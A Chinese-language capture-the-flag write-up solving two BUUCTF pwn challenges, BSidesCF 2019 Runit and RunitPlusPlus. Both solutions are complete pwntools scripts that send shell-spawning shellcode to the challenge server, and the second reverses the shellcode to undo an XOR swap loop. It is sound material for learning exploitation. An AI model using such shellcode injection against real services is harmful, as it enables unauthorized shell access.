BUUCTF pwn Runit&&RunitPlusPlus

[BSidesCF 2019]Runit

查看保护
BUUCTF pwn Runit&&RunitPlusPlus_第1张图片
IDA查看程序流
BUUCTF pwn Runit&&RunitPlusPlus_第2张图片
读入buf并执行,那么可以写入shellcode
完整ex

from pwn import *

context(log_level='debug')

#io=process("./runit")

io=remote("node3.buuoj.cn",28430)

io.recv()

payload=asm(shellcraft.sh())

io.send(payload)

io.interactive()

[BSidesCF 2019]RunitPlusPlus

查看程序保护
BUUCTF pwn Runit&&RunitPlusPlus_第3张图片
IDA打开查看程序流程
BUUCTF pwn Runit&&RunitPlusPlus_第4张图片
读入buf,最后再执行buf输入的内容

主体关键是中间的for循环,用了异或操作

可以假设buf[i]=a, buf[v8-i-1]=b, 那么对循环里面的操作进行转换有

a=a^b
b=b^a=b^(a^b)=a
a=a^b=(a^b)^a=b

即结果使得buf[i]= buf[v8-i-1], 那么对输入的shellcode进行逆转就行了。

完整的ex

from pwn import *

context(log_level='debug')

#io=process("./runitplusplus")

io=remote("node3.buuoj.cn",26920)

io.recv()

io.send(asm(shellcraft.sh())[::-1])

io.interactive()

你可能感兴趣的:(pwn安全,安全,pwn,python)